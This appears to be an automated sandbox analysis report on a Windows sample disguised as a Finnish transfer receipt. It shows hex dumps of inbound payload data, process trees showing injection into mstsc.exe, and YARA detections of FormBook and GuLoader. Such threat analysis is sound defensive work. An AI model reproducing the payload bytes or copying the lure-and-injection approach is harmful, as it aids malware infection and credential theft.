2023-05-30 09:06:51 UTC	185	IN	Data Raw: 59 98 19 98 1f fc 64 91 2d e2 20 33 2d 89 66 6b 21 75 bb c6 d2 a3 fe bc 65 e0 a2 f6 01 2d b5 9e 16 50 89 90 3a 76 13 c8 a6 99 88 c5 dc b9 8b 37 3f 1a d7 bb cc d5 89 3a 18 5d 96 89 b2 28 9e fe 00 b8 39 86 47 4e a6 58 f2 9b 07 09 7d 6f 87 bf ed a4 bd 0b be 21 30 b4 49 b9 3b 2b 8c 20 0c df 66 63 cb 51 53 e1 9e 2d 9b 69 25 82 73 26 c7 93 78 40 9b b3 8f ec 3f 78 0c fc 34 c1 e3 06 2b 9d 33 55 23 97 9d 27 4a c8 e3 64 d4 b2 7e b7 b2 d1 bf 31 8c 0f 23 46 96 df 47 0c a2 69 74 22 95 56 09 c7 0d f9 10 84 a8 21 15 f4 bd 00 e7 28 83 3e de 2b ac 89 61 1f 1f 9e 4f de 3f 91 ce 8e 25 05 8e 9f 29 c1 de 83 81 4d 8f 69 a5 60 b6 45 a5 25 04 63 9f 91 50 ae f8 13 49 55 48 6c 2d af cb 41 99 e5 fb eb d2 0c 37 ed 79 47 b7 c1 27 80 94 06 87 c1 60 38 dc 45 d9 56 c7 4f 9b e3 ad 64 a1 Data Ascii: Yd- 3-fk!ue-P:v7?:](9GNX}o!0I;+ fcQS-i%s&x@?x4+3U#'Jd~1#FGit"V!(>+aO?%)Mi`E%cPIUHl-A7yG'`8EVOd
2023-05-30 09:06:51 UTC	186	IN	Data Raw: 79 96 02 ea 36 de 10 31 61 ff 1c 6e cf 5d 09 ff 97 84 e6 39 8d 05 5c 01 b2 b7 23 7d ea ba 53 31 4f e3 0d 48 7d 0b 86 62 a7 b6 68 dd 23 e3 73 3c 7f a9 a9 24 13 87 9f 93 03 38 e6 17 75 5f 74 3c 18 df 7b 0c 79 ab 7b 64 30 26 68 66 a0 d2 c6 fd ed 79 f3 47 25 6c e7 8b d0 94 28 8e 6b e6 be 9a ad ec 04 bd f6 56 a5 32 a4 d7 a9 63 ce ea da 9b 4a 2a 4e 08 91 f9 9c a8 81 6e bb 0a fe 1b 78 63 13 da be 4b 1c 68 5c a1 be 80 df 1f e7 b1 8e 29 2b 05 ce d8 9e 69 ff 1d da 46 56 41 a4 bd 31 f7 58 dd a5 3b 00 7e 53 a5 81 fd 46 d0 38 90 d3 f5 9c 3a 5d 8b 1a 34 5c df 7c 06 59 b5 00 11 fa 89 e6 34 69 27 55 66 52 4c ad 84 5e 43 9c 4f cc c8 74 27 09 fa 78 d3 9c c7 a3 e8 af 7f 66 0e 0b 97 88 78 87 65 eb 62 c9 04 1e a5 26 70 b6 2c 6b 29 8f 46 ac 47 89 a8 1e 74 c7 4c 85 31 04 22 47 Data Ascii: y61an]9\#}S1OH}bh#s<$8u_t<{y{d0&hfyG%l(kV2cJ*NnxcKh\)+iFVA1X;~SF8:]4\\|Y4i'UfRL^COt'xfxeb&p,k)FGtL1"G
2023-05-30 09:06:51 UTC	187	IN	Data Raw: 90 14 d1 eb 4b 66 02 f6 6d 78 5a fc ee 74 df 46 4e 3f 47 b1 4f 24 9f 33 9b 89 a6 08 ee aa d4 8e e3 d4 e0 5a 6e ba ac e2 d1 62 1d 1e f0 ab 3b 68 55 e9 fc b9 c7 b2 5e 10 d2 a6 81 ab c2 75 1a 45 10 55 87 aa a5 9a 46 ec 6d a7 f6 bc 1b 1a 9e d9 0f 1d b6 aa 6b 22 0b df f7 10 45 79 e9 64 8d 2d 4c d9 5a d3 73 ad b5 c2 18 66 05 ef 71 76 b5 43 a2 32 66 a0 b4 ce e5 eb f7 1c 2a fd 93 78 ba d4 3b b9 19 b9 39 b4 c6 7f ad 2e 36 33 38 19 3a 0d 41 2f b1 5e 19 55 e9 51 4f 19 c4 05 11 98 a4 f3 f6 d4 cc 8c fc 66 78 18 5b 2d 10 c1 f8 e0 a8 88 c0 32 0b b9 cf 2c 07 74 91 15 d4 35 b2 4c 4c c8 ea b8 cd 00 dc 80 84 51 42 c1 e3 3c ac 89 d4 6e 80 63 e5 e0 c5 d8 21 40 fd e1 a9 ae a6 8a 0a 5a 38 52 ae d6 5c 27 83 8f 26 49 f3 99 8b 3c 88 46 1d 9c ad e6 90 29 38 ed 8a 68 30 8b 81 88 50 Data Ascii: KfmxZtFN?GO$3Znb;hU^uEUFmk"Eyd-LZsfqvC2f*x;9.638:A/^UQOfx[-2,t5LLQB<nc!@Z8R\'&I<F)8h0P
2023-05-30 09:06:51 UTC	189	IN	Data Raw: 33 47 07 9b 56 be 4c 8a cd 8e 3c d8 e0 9d 82 e0 52 54 ef da 84 48 5c c2 1f 16 e0 17 05 f1 fc 6b 51 c6 4d 5a b7 90 36 e9 9a dd 71 ad 69 36 fc 38 f7 9b 6f c9 0c 0b 00 82 f0 46 ce e1 c5 e5 1d bc ee 1f 38 eb 0e 21 9c d0 b3 77 09 50 39 9f 48 80 aa be 0b a7 73 3b 26 d7 91 b2 7d 2d 87 6f fe bf 16 72 db 25 4a cc c6 9e bd 53 71 1a 08 48 14 00 b3 0f ae f0 a7 21 53 12 e4 b7 50 dc 29 7d 4a 80 13 0b d1 63 ff 20 5e b5 05 22 8b d6 6a 9e 67 57 c2 6f a3 26 70 c1 04 36 6f 3d f7 81 c1 8c e6 cb 72 e7 0c ba 00 2f 01 b9 1c 57 a3 aa 5f 26 6e 93 c9 d0 32 2d a6 d8 c5 ff eb bd 85 0b d0 c0 66 60 d0 d4 b8 f9 ae 5e 4b b7 ad 59 be b6 95 03 cc 03 d4 e5 77 7b 72 2a b3 c5 7c b7 4c d3 b2 bd e4 1f 34 8f c6 c3 89 fc c9 68 65 1f ac 53 f3 f6 67 34 a8 d7 63 b8 c1 e1 61 a2 d5 3d 57 35 a2 78 63 Data Ascii: 3GVL<RTH\kQMZ6qi68oF8!wP9Hs;&}-or%JSqH!SP)}Jc ^"jgWo&p6o=r/W_&n2-f`^KYw{r*\|L4heSg4ca=W5xc
2023-05-30 09:06:51 UTC	190	IN	Data Raw: ea d5 aa 82 b8 9a c2 60 d9 68 13 5f a5 46 2e 21 10 0c a7 d8 fc ff ea 15 3e 0f d5 72 1f 09 cb 45 bd f9 a3 68 73 65 99 e0 43 94 22 4f c6 56 aa 9d c5 ec e2 f6 9e 5e 44 e4 27 88 10 64 f3 60 10 dd 32 1d 0d 56 a4 65 18 94 23 ed cf b5 cd 45 36 7d 27 b2 52 89 05 75 01 2d 86 e6 a6 dc 08 c7 47 4f 65 e7 50 60 f5 0a 64 19 e8 63 fa 58 94 85 d0 a8 d3 01 7e b0 8c 66 cd 79 84 29 a2 13 ae 8f 60 91 f4 5a da 81 18 01 18 e8 91 a7 07 44 a4 7d d4 f4 ac 4a 88 94 3b bb d6 64 16 ee 6e f4 6a ae 55 bd db aa bf ce 8c 28 c6 3d 47 c5 ff 8b b4 64 57 0f 61 95 27 59 eb 85 e3 1b 91 6f c5 54 67 5b 30 cb 7b 36 b9 f8 13 b3 49 f9 ba d9 e8 ce 60 d0 e4 65 58 31 eb 65 b9 38 c5 47 2a 2a ac c9 54 04 40 71 59 6a 5c b9 cb 14 aa 14 17 27 57 50 77 94 dd 63 d3 01 89 23 2a 16 f6 50 85 41 bf 86 db a7 46 Data Ascii: `h_F.!>rEhseC"OV^D'd`2Ve#E6}'Ru-GOeP`dcX~fy)`ZD}J;dnjU(=GdWa'YoTg[0{6I`eX1e8G*T@qYj\'WPwc#PAF
2023-05-30 09:06:51 UTC	191	IN	Data Raw: b8 4d 17 ae 60 36 5d 64 97 20 e5 38 e8 b2 6d a7 77 3f f9 b8 d6 ab f9 35 08 07 d5 26 34 47 a2 78 1c f7 4a 86 dd a6 bf 51 87 e3 23 df c4 da ff 41 b1 22 55 29 7e 51 98 9f 7a 66 ee 4b bc 80 bd 91 f1 c3 f1 d9 96 56 ce 63 77 65 f4 fc 7a 56 23 93 bb 8d 9d 72 fb 84 5f 75 20 5f f7 08 da 57 74 1d 0f 84 ea 45 e5 b6 dc 8e a9 68 5a af 95 01 7f 8c 16 42 a4 c0 20 1e 1e 92 80 3e 11 5c 62 af bc 8e ff fd ce 6a b3 80 0e ec 99 1e be 6e cb b6 dd 16 a2 87 6c c1 87 ef ae 9f a6 10 64 7c f9 9c 64 39 fe f9 9b 28 03 90 88 ca c5 a9 32 7d de 7f f9 18 5e e0 67 7f 63 49 a9 83 48 28 e3 cd 15 f5 5a 70 53 c1 71 02 e2 28 b5 c1 84 58 23 d1 41 0e 6a fe 98 e4 8b 29 51 75 fe 59 1f 5a ff 76 1b 7c 17 82 b5 ed 91 89 44 34 60 89 37 99 5f f6 f0 87 46 a8 9e e4 92 33 60 e3 3c bc 28 2b 03 48 a7 72 e3 Data Ascii: M`6]d 8mw?5&4GxJQ#A"U)~QzfKVcwezV#r_u _WtEhZB >\bjnld\|d9(2}^gcIH(ZpSq(X#Aj)QuYZv\|D4`7_F3`<(+Hr
2023-05-30 09:06:51 UTC	192	IN	Data Raw: 12 1d 02 83 fa 99 03 c8 13 2a e2 88 c4 d9 5f ca b4 e0 ad b3 bc 28 ef 90 2e 5d b9 e9 6a e8 31 6c 59 59 cf e4 40 a8 5e a1 53 71 48 6d 27 92 18 bd 84 ce e9 6f 6b 9a e9 8c 4b 24 24 11 7c 79 43 19 9f 0f 36 6e d6 b8 be f7 75 54 83 00 57 d3 a5 d5 e7 1d 96 69 c7 3d 01 83 73 4a 3a 9f ba 38 34 7d 7c 33 76 39 13 be c7 d8 53 87 cd 1f f8 6f 78 fb c2 f5 a6 c3 f7 e8 69 3b f0 5f 66 08 d1 7d 67 55 e9 5b 0b 23 2d 6a 11 08 1b bf 78 b8 43 ef b3 11 7a e6 ff 84 4f 44 21 9d fb 31 0c 7e 2e c0 17 2a d7 31 40 ac da 6a 60 aa c5 5a 06 86 35 52 1a d4 bd 5a 31 22 df 90 ae 79 bb fc b9 7e 51 9f 0b 4a 9d 82 10 1c Data Ascii: _(.]j1lYY@^SqHm'okK$$\|yC6nuTWi=sJ:84}\|3v9Soxi;_f}gU[#-jxCzOD!1~.1@j`Z5RZ1"y~QJ

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Siirtokuitti_006703.exePID: 6032, Parent PID: 5200

General

Target ID:	1
Start time:	11:05:59
Start date:	30/05/2023
Path:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
Imagebase:	0x400000
File size:	638699 bytes
MD5 hash:	917202E098F68D9B97DB1A1F685E8D39
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.19420855305.0000000009150000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.19420855305.0000000009150000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.19420855305.0000000009150000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000001.00000002.19311035785.000000000849F000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: Siirtokuitti_006703.exePID: 8416, Parent PID: 6032

General

Target ID:	3
Start time:	11:06:36
Start date:	30/05/2023
Path:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\Siirtokuitti_006703.exe
Imagebase:	0x400000
File size:	638699 bytes
MD5 hash:	917202E098F68D9B97DB1A1F685E8D39
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: mstsc.exePID: 8528, Parent PID: 6032

General

Target ID:	5
Start time:	11:06:53
Start date:	30/05/2023
Path:	C:\Windows\SysWOW64\mstsc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\mstsc.exe
Imagebase:	0x590000
File size:	1264640 bytes
MD5 hash:	B038F39C887BE2A810E20B08613F3B84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.23814214008.0000000000330000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.23814214008.0000000000330000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.23814214008.0000000000330000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.23831783488.0000000004460000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.23831783488.0000000004460000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.23831783488.0000000004460000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.23832424466.0000000004490000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.23832424466.0000000004490000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.23832424466.0000000004490000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate

Chronological Activities

Analysis Process: RAVCpl64.exePID: 7528, Parent PID: 8528

General

Target ID:	6
Start time:	11:06:57
Start date:	30/05/2023
Path:	C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s
Imagebase:	0x140000000
File size:	16696840 bytes
MD5 hash:	731FB4B2E5AFBCADAABB80D642E056AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: explorer.exePID: 5200, Parent PID: 8528

General

Target ID:	7
Start time:	11:07:38
Start date:	30/05/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff6bd970000
File size:	4849904 bytes
MD5 hash:	5EA66FF5AE5612F921BC9DA23BAC95F7
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: firefox.exePID: 8968, Parent PID: 8528

General

Target ID:	9
Start time:	11:08:00
Start date:	30/05/2023
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Mozilla Firefox\Firefox.exe
Imagebase:	0x7ff75fd40000
File size:	597432 bytes
MD5 hash:	FA9F4FC5D7ECAB5A20BF7A9D1251C851
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: WerFault.exePID: 9068, Parent PID: 8968

General

Target ID:	12
Start time:	11:08:05
Start date:	30/05/2023
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 8968 -s 120
Imagebase:	0x7ff743940000
File size:	568632 bytes
MD5 hash:	5C06542FED8EE68994D43938E7326D75
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language